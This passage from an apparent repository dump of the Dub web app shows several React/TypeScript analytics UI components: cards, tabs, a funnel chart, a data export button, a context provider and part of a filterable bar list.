    "content": "import { EventType } from \"@/lib/analytics/types\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Modal,\n  Popover,\n  TabSelect,\n  ToggleGroup,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { CursorRays, InvoiceDollar, UserCheck } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport {\n  Dispatch,\n  ReactNode,\n  SetStateAction,\n  useContext,\n  useState,\n} from \"react\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function AnalyticsCard<T extends string>({\n  tabs,\n  selectedTabId,\n  onSelectTab,\n  subTabs,\n  selectedSubTabId,\n  onSelectSubTab,\n  expandLimit,\n  dataLength,\n  isFilterActive,\n  onClearFilter,\n  children,\n  className,\n}: {\n  tabs: { id: T; label: string; icon: React.ElementType }[];\n  selectedTabId: T;\n  onSelectTab?: Dispatch<SetStateAction<T>> | ((tabId: T) => void);\n  subTabs?: { id: string; label: string }[];\n  selectedSubTabId?: string;\n  onSelectSubTab?:\n    | Dispatch<SetStateAction<string>>\n    | ((subTabId: string) => void);\n  expandLimit: number;\n  dataLength?: number;\n  isFilterActive?: boolean;\n  onClearFilter?: () => void;\n  children: (props: {\n    limit?: number;\n    event?: EventType;\n    setShowModal: (show: boolean) => void;\n  }) => ReactNode;\n  className?: string;\n}) {\n  const { selectedTab: event } = useContext(AnalyticsContext);\n\n  const [showModal, setShowModal] = useState(false);\n  const [isOpen, setIsOpen] = useState(false);\n\n  const selectedTab = tabs.find(({ id }) => id === selectedTabId) || tabs[0];\n  const SelectedTabIcon = selectedTab.icon;\n  const { isMobile } = useMediaQuery();\n  const hasSecondaryTabs = !!(subTabs && selectedSubTabId && onSelectSubTab);\n  const effectiveExpandLimit = hasSecondaryTabs\n    ? Math.max(1, expandLimit - 1)\n    : expandLimit;\n  const showViewAll = (dataLength ?? 0) > effectiveExpandLimit;\n\n  return (\n    <>\n      <Modal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        className=\"max-w-lg px-0\"\n      >\n        <div className=\"flex items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <h1 className=\"text-lg font-semibold\">{selectedTab?.label}</h1>\n          <div className=\"flex items-center gap-1 text-neutral-500\">\n            {event === \"sales\" ? (\n              <InvoiceDollar className=\"h-4 w-4\" />\n            ) : event === \"leads\" ? (\n              <UserCheck className=\"h-4 w-4\" />\n            ) : (\n              <CursorRays className=\"h-4 w-4\" />\n            )}\n            <p className=\"text-xs uppercase\">{event}</p>\n          </div>\n        </div>\n        {subTabs && selectedSubTabId && onSelectSubTab && (\n          <SubTabs\n            subTabs={subTabs}\n            selectedTab={selectedSubTabId}\n            onSelectTab={onSelectSubTab}\n          />\n        )}\n        {children({ setShowModal, event })}\n      </Modal>\n      <div\n        className={cn(\n          \"group relative z-0 h-[400px] overflow-hidden rounded-lg border border-neutral-200 bg-white sm:rounded-xl\",\n          className,\n        )}\n      >\n        <div className=\"flex items-center justify-between border-b border-neutral-200 px-4\">\n          {/* Main tabs */}\n          {isMobile ? (\n            <Popover\n              openPopover={isOpen}\n              setOpenPopover={setIsOpen}\n              content={\n                <div className=\"grid w-full gap-px p-2 sm:w-48\">\n                  {tabs.map(({ id, label, icon: Icon }) => (\n                    <Button\n                      key={id}\n                      text={label}\n                      variant=\"outline\"\n                      onClick={() => {\n                        onSelectTab?.(id);\n                        setIsOpen(false);\n                      }}\n                      icon={<Icon className=\"size-4\" />}\n                      className={cn(\n                        \"h-9 w-full justify-start px-2 font-medium\",\n                        selectedTabId === id && \"bg-neutral-100\",\n                      )}\n                    />\n                  ))}\n                </div>\n              }\n              align=\"end\"\n            >\n              <Button\n                type=\"button\"\n                className=\"my-2 h-8 w-fit whitespace-nowrap px-2\"\n                variant=\"outline\"\n                icon={<SelectedTabIcon className=\"size-4\" />}\n                text={selectedTab.label}\n                right={\n                  <ChevronsUpDown\n                    className=\"size-4 shrink-0 text-neutral-400\"\n                    aria-hidden=\"true\"\n                  />\n                }\n              />\n            </Popover>\n          ) : (\n            <TabSelect\n              options={tabs}\n              selected={selectedTabId}\n              onSelect={onSelectTab}\n            />\n          )}\n\n          <div className=\"flex items-center gap-1 pr-2 text-neutral-500\">\n            {event === \"sales\" ? (\n              <InvoiceDollar className=\"hidden h-4 w-4 sm:block\" />\n            ) : event === \"leads\" ? (\n              <UserCheck className=\"hidden h-4 w-4 sm:block\" />\n            ) : (\n              <CursorRays className=\"hidden h-4 w-4 sm:block\" />\n            )}\n            <p className=\"text-xs uppercase\">{event}</p>\n          </div>\n        </div>\n        <AnimatedSizeContainer\n          height\n          transition={{ ease: \"easeInOut\", duration: 0.2 }}\n        >\n          {subTabs && selectedSubTabId && onSelectSubTab && (\n            <SubTabs\n              subTabs={subTabs}\n              selectedTab={selectedSubTabId}\n              onSelectTab={onSelectSubTab}\n            />\n          )}\n        </AnimatedSizeContainer>\n        <div className=\"py-4\">\n          {children({\n            limit: effectiveExpandLimit,\n            event,\n            setShowModal,\n          })}\n        </div>\n        {/* View All when filtered: modal shows full list (items not on card). */}\n        {(showViewAll || isFilterActive) && (\n          <div className=\"absolute bottom-0 left-0 z-10 flex w-full items-end\">\n            <div className=\"pointer-events-none absolute bottom-0 left-0 h-48 w-full bg-gradient-to-t from-white\" />\n            <div className=\"relative flex w-full items-center justify-center gap-2 py-4\">\n              <button\n                onClick={() => setShowModal(true)}\n                className={cn(\n                  \"h-8 w-fit rounded-lg px-3 text-sm transition-colors\",\n                  isFilterActive\n                    ? \"text-content-inverted hover:bg-inverted hover:ring-border-subtle border-black bg-black hover:ring-4\"\n                    : \"border border-neutral-200 bg-white text-neutral-950 hover:bg-neutral-100 active:border-neutral-300\",\n                )}\n              >\n                View All\n              </button>\n              {isFilterActive && onClearFilter && (\n                <button\n                  onClick={onClearFilter}\n                  className=\"h-8 w-fit rounded-lg border border-neutral-200 bg-white px-3 text-sm text-neutral-600 transition-colors hover:bg-neutral-50 active:border-neutral-300\"\n                >\n                  Clear\n                </button>\n              )}\n            </div>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n\nfunction SubTabs({\n  subTabs,\n  selectedTab,\n  onSelectTab,\n}: {\n  subTabs: { id: string; label: string }[];\n  selectedTab: string;\n  onSelectTab: (key: string) => void;\n}) {\n  return (\n    <ToggleGroup\n      key={JSON.stringify(subTabs)}\n      options={subTabs.map(({ id, label }) => ({\n        value: id,\n        label: label,\n      }))}\n      selected={selectedTab}\n      selectAction={(period) => onSelectTab(period)}\n      className=\"flex w-full flex-wrap rounded-none border-x-0 border-t-0 border-neutral-200 bg-neutral-50 px-6 py-2.5 sm:flex-nowrap\"\n      optionClassName=\"text-xs px-2 font-normal hover:text-neutral-700\"\n      indicatorClassName=\"border-0 bg-neutral-200 rounded-md\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-export-button.tsx",
    "content": "import { Button } from \"@dub/ui\";\nimport { Download } from \"@dub/ui/icons\";\nimport { Dispatch, SetStateAction, useContext, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function AnalyticsExportButton({\n  setOpenPopover,\n}: {\n  setOpenPopover: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [loading, setLoading] = useState(false);\n  const { queryString, baseApiPath, partnerPage } =\n    useContext(AnalyticsContext);\n\n  async function exportData() {\n    setLoading(true);\n    try {\n      // Use partner profile export endpoint if on partner page, otherwise use regular export endpoint\n      const exportPath = partnerPage\n        ? `${baseApiPath}/export`\n        : \"/api/analytics/export\";\n\n      const response = await fetch(`${exportPath}?${queryString}`, {\n        method: \"GET\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        setLoading(false);\n        throw new Error(response.statusText);\n      }\n\n      const blob = await response.blob();\n      const url = window.URL.createObjectURL(blob);\n      const a = document.createElement(\"a\");\n      a.href = url;\n      a.download = `Dub Analytics Export - ${new Date().toISOString()}.zip`;\n      a.click();\n    } catch (error) {\n      throw new Error(error);\n    }\n    setLoading(false);\n  }\n\n  return (\n    <Button\n      text=\"Download as CSV\"\n      variant=\"outline\"\n      icon={<Download className=\"h-4 w-4\" />}\n      className=\"h-9 justify-start px-2 text-black\"\n      onClick={() => {\n        setOpenPopover(false);\n        toast.promise(exportData(), {\n          loading: \"Exporting files...\",\n          success: \"Exported successfully\",\n          error: (error) => error,\n        });\n      }}\n      loading={loading}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-funnel-chart.tsx",
    "content": "import { FunnelChart } from \"@dub/ui/charts\";\nimport { useContext, useMemo } from \"react\";\nimport { AnalyticsLoadingSpinner } from \"./analytics-loading-spinner\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function AnalyticsFunnelChart({ demo = false }: { demo?: boolean }) {\n  const { totalEvents } = useContext(AnalyticsContext);\n\n  const steps = useMemo(\n    () => [\n      {\n        id: \"clicks\",\n        label: \"Clicks\",\n        value: demo ? 130 : totalEvents?.clicks ?? 0,\n        colorClassName: \"text-blue-600\",\n      },\n      {\n        id: \"leads\",\n        label: \"Leads\",\n        value: demo ? 100 : totalEvents?.leads ?? 0,\n        colorClassName: \"text-violet-600\",\n      },\n      {\n        id: \"sales\",\n        label: \"Sales\",\n        value: demo ? 24 : totalEvents?.sales ?? 0,\n        additionalValue: demo ? 228_00 : totalEvents?.saleAmount ?? 0,\n        colorClassName: \"text-teal-400\",\n      },\n    ],\n    [demo, totalEvents],\n  );\n\n  return (\n    <>\n      {totalEvents || demo ? (\n        <FunnelChart\n          steps={steps}\n          defaultTooltipStepId={demo ? \"sales\" : undefined}\n        />\n      ) : (\n        <div className=\"flex h-full w-full items-center justify-center\">\n          <AnalyticsLoadingSpinner />\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-loading-spinner.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { Lock } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport { AnalyticsContext } from \"./analytics-provider\";\n\nexport function AnalyticsLoadingSpinner() {\n  const { slug, nextPlan } = useWorkspace();\n  const { requiresUpgrade } = useContext(AnalyticsContext);\n\n  return requiresUpgrade ? (\n    <div className=\"flex flex-col items-center justify-center space-y-2\">\n      <div className=\"rounded-full bg-neutral-100 p-4\">\n        <Lock className=\"h-5 w-5 text-neutral-500\" />\n      </div>\n      <p className=\"mt-2 text-sm text-neutral-500\">\n        {nextPlan.name} plan required to view more analytics\n      </p>\n      <Link\n        href={slug ? `/${slug}/upgrade` : \"https://dub.co/pricing\"}\n        {...(slug ? {} : { target: \"_blank\" })}\n        className=\"w-full rounded-md border border-black bg-black px-3 py-1.5 text-center text-sm text-white transition-all hover:bg-neutral-800 hover:ring-4 hover:ring-neutral-200\"\n      >\n        Upgrade to {nextPlan.name}\n      </Link>\n    </div>\n  ) : (\n    <LoadingSpinner />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-options.tsx",
    "content": "import { Popover } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { ThreeDots } from \"../shared/icons\";\nimport { AnalyticsExportButton } from \"./analytics-export-button\";\nimport { EventsExportButton } from \"./events/events-export-button\";\n\nexport function AnalyticsOptions({ page }: { page: \"analytics\" | \"events\" }) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      align=\"end\"\n      content={\n        <div className=\"grid w-screen gap-px p-2 sm:w-48\">\n          {page === \"analytics\" && (\n            <AnalyticsExportButton setOpenPopover={setOpenPopover} />\n          )}\n          {page === \"events\" && (\n            <EventsExportButton setOpenPopover={setOpenPopover} />\n          )}\n        </div>\n      }\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <button\n        onClick={() => setOpenPopover(!openPopover)}\n        className={cn(\n          \"flex h-10 items-center rounded-md border px-1.5 outline-none transition-all\",\n          \"border-neutral-200 bg-white text-neutral-900 placeholder-neutral-400\",\n          \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n        )}\n      >\n        <ThreeDots className=\"h-5 w-5 text-neutral-500\" />\n      </button>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-provider.tsx",
    "content": "\"use client\";\n\nimport {\n  ANALYTICS_SALE_UNIT,\n  ANALYTICS_VIEWS,\n  DUB_LINKS_ANALYTICS_INTERVAL,\n  DUB_PARTNERS_ANALYTICS_INTERVAL,\n} from \"@/lib/analytics/constants\";\nimport {\n  AnalyticsResponseOptions,\n  AnalyticsSaleUnit,\n  AnalyticsView,\n  EventType,\n} from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PlanProps } from \"@/lib/types\";\nimport { useLocalStorage } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams, useSearchParams } from \"next/navigation\";\nimport {\n  createContext,\n  PropsWithChildren,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { defaultConfig } from \"swr/_internal\";\nimport { UpgradeRequiredToast } from \"../shared/upgrade-required-toast\";\nimport { useAnalyticsQuery } from \"./use-analytics-query\";\n\nexport type AnalyticsDashboardProps = {\n  showConversions?: boolean;\n  workspacePlan?: PlanProps;\n} & (\n  | {\n      domain: string;\n      key: string;\n      url: string;\n      folderId?: never;\n      folderName?: never;\n    }\n  | {\n      folderId: string;\n      folderName: string;\n      domain?: never;\n      key?: never;\n      url?: never;\n    }\n);\n\nexport const AnalyticsContext = createContext<{\n  basePath: string;\n  baseApiPath: string;\n  eventsApiPath?: string;\n  selectedTab: EventType;\n  saleUnit: AnalyticsSaleUnit;\n  view: AnalyticsView;\n  domain?: string;\n  key?: string;\n  url?: string;\n  folderId?: string;\n  queryString: string;\n  start?: Date;\n  end?: Date;\n  interval?: string;\n  tagId?: string;\n  totalEvents?: {\n    [key in AnalyticsResponseOptions]: number;\n  };\n  totalEventsLoading?: boolean;\n  adminPage?: boolean;\n  partnerPage?: boolean;\n  showConversions?: boolean;\n  fetchCompositeStats?: boolean;\n  requiresUpgrade?: boolean;\n  dashboardProps?: AnalyticsDashboardProps;\n}>({\n  basePath: \"\",\n  baseApiPath: \"\",\n  eventsApiPath: \"\",\n  selectedTab: \"clicks\",\n  saleUnit: \"saleAmount\",\n  view: \"timeseries\",\n  domain: \"\",\n  queryString: \"\",\n  start: new Date(),\n  end: new Date(),\n  adminPage: false,\n  partnerPage: false,\n  showConversions: false,\n  fetchCompositeStats: false,\n  requiresUpgrade: false,\n  dashboardProps: undefined,\n});\n\nexport default function AnalyticsProvider({\n  adminPage,\n  dashboardProps,\n  children,\n}: PropsWithChildren<{\n  adminPage?: boolean;\n  dashboardProps?: AnalyticsDashboardProps;\n}>) {\n  const searchParams = useSearchParams();\n  const { slug: workspaceSlug, plan: workspacePlan, domains } = useWorkspace();\n\n  const [requiresUpgrade, setRequiresUpgrade] = useState(false);\n\n  const { dashboardId, programSlug } = useParams() as {\n    dashboardId?: string;\n    programSlug?: string;\n  };\n\n  const { partner } = usePartnerProfile();\n  const partnerPage = partner?.id && programSlug ? true : false;\n\n  const domainSlug = searchParams?.get(\"domain\");\n\n  // Show conversion tabs/data for all dashboards except shared (unless explicitly set)\n  const showConversions =\n    !dashboardProps || dashboardProps?.showConversions ? true : false;\n\n  const [persistedSaleUnit, setPersistedSaleUnit] =\n    useLocalStorage<AnalyticsSaleUnit>(`analytics-sale-unit`, \"saleAmount\");\n\n  const saleUnit: AnalyticsSaleUnit = useMemo(() => {\n    const searchParamsSaleUnit = searchParams.get(\n      \"saleUnit\",\n    ) as AnalyticsSaleUnit;\n    if (ANALYTICS_SALE_UNIT.includes(searchParamsSaleUnit)) {\n      setPersistedSaleUnit(searchParamsSaleUnit);\n      return searchParamsSaleUnit;\n    }\n    return persistedSaleUnit;\n  }, [searchParams.get(\"saleUnit\")]);\n\n  const [persistedView, setPersistedView] = useLocalStorage<AnalyticsView>(\n    `analytics-view`,\n    \"timeseries\",\n  );\n  const view: AnalyticsView = useMemo(() => {\n    const searchParamsView = searchParams.get(\"view\") as AnalyticsView;\n    if (ANALYTICS_VIEWS.includes(searchParamsView)) {\n      setPersistedView(searchParamsView);\n      return searchParamsView;\n    }\n\n    return ANALYTICS_VIEWS.includes(persistedView)\n      ? persistedView\n      : \"timeseries\";\n  }, [searchParams.get(\"view\")]);\n\n  const { basePath, domain, baseApiPath, eventsApiPath } = useMemo(() => {\n    if (adminPage) {\n      return {\n        basePath: \"analytics\",\n        baseApiPath: \"/api/admin/analytics\",\n        eventsApiPath: \"/api/admin/events\",\n        domain: domainSlug,\n      };\n    } else if (workspaceSlug) {\n      return {\n        basePath: `/${workspaceSlug}/analytics`,\n        baseApiPath: \"/api/analytics\",\n        eventsApiPath: \"/api/events\",\n        domain: domainSlug,\n      };\n    } else if (partnerPage) {\n      return {\n        basePath: `/api/partner-profile/programs/${programSlug}/analytics`,\n        baseApiPath: `/api/partner-profile/programs/${programSlug}/analytics`,\n        eventsApiPath: `/api/partner-profile/programs/${programSlug}/events`,\n        domain: domainSlug,\n      };\n    } else if (dashboardId) {\n      // Public stats page, e.g. app.dub.co/share/dsh_123\n      return {\n        basePath: `/share/${dashboardId}`,\n        baseApiPath: \"/api/analytics/dashboard\",\n        domain: dashboardProps?.domain ?? null,\n      };\n    } else {\n      return {\n        basePath: \"\",\n        baseApiPath: \"\",\n        domain: \"\", // TODO [refactor]\n      };\n    }\n  }, [\n    adminPage,\n    workspaceSlug,\n    partnerPage,\n    dashboardProps?.domain,\n    dashboardId,\n    domainSlug,\n  ]);\n\n  const {\n    queryString,\n    key,\n    start,\n    end,\n    interval,\n    tagId,\n    folderId,\n    selectedTab,\n  } = useAnalyticsQuery({\n    domain: domain ?? undefined,\n    defaultKey: dashboardProps?.key,\n    defaultFolderId: dashboardProps?.folderId,\n    defaultInterval: partnerPage\n      ? DUB_PARTNERS_ANALYTICS_INTERVAL\n      : DUB_LINKS_ANALYTICS_INTERVAL,\n  });\n\n  // Reset requiresUpgrade when query changes\n  useEffect(() => setRequiresUpgrade(false), [queryString]);\n\n  const { canTrackConversions } = getPlanCapabilities(workspacePlan);\n\n  const fetchCompositeStats = useMemo(() => {\n    // show composite stats if:\n    // - shared dashboard and show conversions is set to true\n    // - it's an admin or partner page\n    // - it's a workspace that has tracked conversions/customers/leads before\n    return dashboardProps?.showConversions ||\n      adminPage ||\n      partnerPage ||\n      canTrackConversions === true\n      ? true\n      : false;\n  }, [\n    dashboardProps?.showConversions,\n    adminPage,\n    partnerPage,\n    canTrackConversions,\n  ]);\n\n  const { data: totalEvents, isLoading: totalEventsLoading } = useSWR<{\n    [key in AnalyticsResponseOptions]: number;\n  }>(\n    `${baseApiPath}?${editQueryString(queryString, {\n      event: fetchCompositeStats ? \"composite\" : \"clicks\",\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      onSuccess: () => setRequiresUpgrade(false),\n      onError: (error) => {\n        try {\n          const errorMessage = error.message;\n          if (\n            error.status === 403 &&\n            errorMessage.toLowerCase().includes(\"upgrade\")\n          ) {\n            toast.custom(() => (\n              <UpgradeRequiredToast\n                title=\"Upgrade for more analytics\"\n                message={errorMessage}\n              />\n            ));\n            setRequiresUpgrade(true);\n          } else {\n            toast.error(errorMessage);\n          }\n        } catch (error) {\n          toast.error(error);\n        }\n      },\n      onErrorRetry: (error, ...args) => {\n        if (error.message.includes(\"Upgrade to Pro\")) return;\n        defaultConfig.onErrorRetry(error, ...args);\n      },\n    },\n  );\n\n  return (\n    <AnalyticsContext.Provider\n      value={{\n        basePath, // basePath for the page (e.g. /[slug]/analytics, /share/[dashboardId])\n        baseApiPath, // baseApiPath for analytics API endpoints (e.g. /api/analytics)\n        selectedTab, // selected event tab (clicks, leads, sales)\n        eventsApiPath, // eventsApiPath for events API endpoints (e.g. /api/events)\n        saleUnit,\n        view,\n        queryString,\n        domain: domain || undefined, // domain for the link (e.g. dub.sh, stey.me, etc.)\n        key: key ? decodeURIComponent(key) : undefined, // link key (e.g. github, weathergpt, etc.)\n        url: dashboardProps?.url, // url for the link (only for public stats pages)\n        folderId: folderId || undefined, // id of the folder(s) to filter by\n        tagId, // ids of the tag(s) to filter by\n        start, // start of time period\n        end, // end of time period\n        interval, /// time period interval\n        totalEvents, // totalEvents (clicks, leads, sales)\n        totalEventsLoading: totalEventsLoading,\n        adminPage, // whether the user is an admin\n        partnerPage, // whether the user is viewing partner analytics\n        showConversions, // whether to show conversions tabs/data\n        fetchCompositeStats, // whether to pull composite stats or just clicks\n        requiresUpgrade, // whether an upgrade is required to perform the query\n        dashboardProps,\n      }}\n    >\n      {children}\n    </AnalyticsContext.Provider>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/analytics-tabs.tsx",
    "content": "import {\n  AnalyticsResponseOptions,\n  AnalyticsSaleUnit,\n  EventType,\n} from \"@/lib/analytics/types\";\nimport { ToggleGroup } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport NumberFlow, { NumberFlowGroup } from \"@number-flow/react\";\nimport { ChevronRight, Lock } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\n\ntype Tab = {\n  id: EventType;\n  label: string;\n  colorClassName: string;\n  conversions: boolean;\n};\n\nexport function AnalyticsTabs({\n  showConversions,\n  totalEvents,\n  tab,\n  tabHref,\n  saleUnit,\n  setSaleUnit,\n  requiresUpgrade,\n  showPaywall,\n}: {\n  showConversions?: boolean;\n  totalEvents?: { [key in AnalyticsResponseOptions]: number };\n  tab: Tab[\"id\"];\n  tabHref: (id: Tab[\"id\"]) => string;\n  saleUnit: AnalyticsSaleUnit;\n  setSaleUnit: (saleUnit: AnalyticsSaleUnit) => void;\n  requiresUpgrade?: boolean;\n  showPaywall?: boolean;\n}) {\n  const tabs = useMemo(\n    () =>\n      [\n        {\n          id: \"clicks\",\n          label: \"Clicks\",\n          colorClassName: \"text-blue-500/50\",\n          conversions: false,\n        },\n        ...(showConversions\n          ? [\n              {\n                id: \"leads\",\n                label: \"Leads\",\n                colorClassName: \"text-violet-600/50\",\n                conversions: true,\n              },\n              {\n                id: \"sales\",\n                label: \"Sales\",\n                colorClassName: \"text-teal-400/50\",\n                conversions: true,\n              },\n            ]\n          : []),\n      ] as Tab[],\n    [showConversions],\n  );\n\n  return (\n    <div className=\"grid w-full grid-cols-3 divide-x divide-neutral-200 overflow-y-hidden\">\n      <NumberFlowGroup>\n        {tabs.map(({ id, label, colorClassName }, idx) => {\n          return (\n            <div key={id} className=\"relative z-0\">\n              {idx > 0 && (\n                <div className=\"absolute left-0 top-1/2 z-10 -translate-x-1/2 -translate-y-1/2 rounded-full border border-neutral-200 bg-white p-1.5\">\n                  <ChevronRight\n                    className=\"h-3 w-3 text-neutral-400\"\n                    strokeWidth={2.5}\n                  />\n                </div>\n              )}\n              <Link\n                className={cn(\n                  \"border-box relative block h-full min-w-[110px] flex-none px-4 py-3 sm:min-w-[240px] sm:px-8 sm:py-6\",\n                  \"transition-colors hover:bg-neutral-50 focus:outline-none active:bg-neutral-100\",\n                  \"ring-inset ring-neutral-500 focus-visible:ring-1 sm:first:rounded-tl-xl\",\n                )}\n                href={tabHref(id)}\n                aria-current\n              >\n                {/* Active tab indicator */}\n                <div\n                  className={cn(\n                    \"absolute bottom-0 left-0 h-0.5 w-full bg-black transition-transform duration-100\",\n                    tab !== id && \"translate-y-[3px]\", // Translate an extra pixel to avoid sub-pixel issues\n                  )}\n                />\n\n                <div className=\"flex items-center gap-2.5 text-sm text-neutral-600\">\n                  <div\n                    className={cn(\n                      \"h-2 w-2 rounded-sm bg-current shadow-[inset_0_0_0_1px_#00000019]\",\n                      colorClassName,\n                    )}\n                  />\n                  <span>{label}</span>\n                </div>\n                <div className=\"mt-1 flex h-12 items-center\">\n                  {totalEvents?.[id] || totalEvents?.[id] === 0 ? (\n                    <NumberFlow\n                      value={\n                        id === \"sales\" && saleUnit === \"saleAmount\"\n                          ? totalEvents.saleAmount / 100\n                          : totalEvents[id]\n                      }\n                      className={cn(\n                        \"text-xl font-medium sm:text-3xl\",\n                        showPaywall && \"opacity-30\",\n                      )}\n                      format={\n                        id === \"sales\" && saleUnit === \"saleAmount\"\n                          ? {\n                              style: \"currency\",\n                              currency: \"USD\",\n                              // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                              trailingZeroDisplay: \"stripIfInteger\",\n                            }\n                          : {\n                              notation:\n                                totalEvents[id] > 999999\n                                  ? \"compact\"\n                                  : \"standard\",\n                            }\n                      }\n                    />\n                  ) : requiresUpgrade ? (\n                    <div className=\"block rounded-full bg-neutral-100 p-2.5\">\n                      <Lock className=\"h-4 w-4 text-neutral-500\" />\n                    </div>\n                  ) : (\n                    <div className=\"h-9 w-16 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </div>\n              </Link>\n              {id === \"sales\" && (\n                <ToggleGroup\n                  className=\"absolute right-3 top-3 hidden w-fit shrink-0 items-center gap-1 border-neutral-100 bg-neutral-100 sm:flex\"\n                  optionClassName=\"size-8 p-0 flex items-center justify-center\"\n                  indicatorClassName=\"border border-neutral-200 bg-white\"\n                  options={[\n                    {\n                      label: <div className=\"text-base\">$</div>,\n                      value: \"saleAmount\",\n                    },\n                    {\n                      label: <div className=\"text-[11px]\">123</div>,\n                      value: \"sales\",\n                    },\n                  ]}\n                  selected={saleUnit}\n                  selectAction={setSaleUnit}\n                />\n              )}\n            </div>\n          );\n        })}\n      </NumberFlowGroup>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/bar-list.tsx",
    "content": "\"use client\";\n\nimport { LinkProps } from \"@/lib/types\";\nimport { Button, Tooltip, useKeyboardShortcut, useMediaQuery } from \"@dub/ui\";\nimport { FilterBars } from \"@dub/ui/icons\";\nimport { cn, getPrettyUrl } from \"@dub/utils\";\nimport NumberFlow, { NumberFlowGroup } from \"@number-flow/react\";\nimport { Search } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  ComponentProps,\n  Dispatch,\n  memo,\n  ReactNode,\n  SetStateAction,\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport AutoSizer from \"react-virtualized-auto-sizer\";\nimport { areEqual, FixedSizeList } from \"react-window\";\nimport { AnalyticsContext } from \"./analytics-provider\";\nimport LinkPreviewTooltip from \"./link-preview\";\n\nexport function BarList({\n  tab,\n  unit,\n  data,\n  allData,\n  barBackground,\n  hoverBackground,\n  filterSelectedBackground = \"bg-neutral-900\",\n  filterSelectedHoverBackground,\n  filterHoverClass,\n  maxValue,\n  setShowModal,\n  limit,\n  selectedFilterValues,\n  activeFilterValues,\n  onToggleFilter,\n  onClearFilter,\n  onClearSelection,\n  onApplyFilterValues,\n}: {\n  tab: string;\n  unit: string;\n  data: {\n    icon: ReactNode;\n    title: string;\n    filterValue?: string;\n    value: number;\n    linkId?: string;\n    /** When set without filter UI (e.g. billing usage modal), row navigates here */\n    href?: string;\n  }[];\n  allData?: {\n    icon: ReactNode;\n    title: string;\n    filterValue?: string;\n    value: number;\n    linkId?: string;\n    href?: string;\n  }[];\n  maxValue: number;\n  barBackground: string;\n  hoverBackground: string;\n  filterSelectedBackground?: string;\n  filterSelectedHoverBackground?: string;\n  filterHoverClass?: string;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  limit?: number;\n  selectedFilterValues?: string[];\n  activeFilterValues?: string[];\n  onToggleFilter?: (val: string) => void;\n  onClearFilter?: () => void;\n  onClearSelection?: () => void;\n  onApplyFilterValues?: (values: string[]) => void;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [modalSelectedValues, setModalSelectedValues] = useState<string[]>(\n    activeFilterValues ?? [],\n  );\n\n  useEffect(() => {\n    if (!limit) {\n      setModalSelectedValues(activeFilterValues ?? []);\n    }\n  }, [activeFilterValues, limit]);\n\n  const handleModalToggle = useCallback((val: string) => {\n    setModalSelectedValues((prev) =>\n      prev.includes(val) ? prev.filter((v) => v !== val) : [...prev, val],\n    );\n  }, []);\n\n  const hasSelection = (selectedFilterValues?.length ?? 0) > 0;\n  const hasModalSelection = modalSelectedValues.length > 0;\n\n  useKeyboardShortcut(\"Escape\", () => onClearSelection?.(), {\n    priority: 2,\n    enabled: hasSelection && !!onClearSelection,\n  });\n\n  // Collapsed card: selection UI is staging-only (new picks before Apply).\n  const effectiveSelectedValues = !limit\n    ? modalSelectedValues\n    : selectedFilterValues;\n\n  const sourceData = !limit && allData ? allData : data;\n\n  // Calculate total sum for percentage calculations\n  const totalSum = useMemo(\n    () => sourceData.reduce((sum, item) => sum + item.value, 0),\n    [sourceData],\n  );\n\n  // TODO: mock pagination for better perf in React\n  const filteredData = useMemo(() => {\n    if (limit) {\n      return data.slice(0, limit);\n    } else {\n      return search\n        ? sourceData.filter((d) =>\n            d.title.toLowerCase().includes(search.toLowerCase()),\n          )\n        : sourceData;\n    }\n  }, [data, sourceData, limit, search]);\n\n  const { isMobile } = useMediaQuery();\n\n  const virtualize = filteredData.length > 100;\n\n  const itemProps = filteredData.map((data) => ({\n    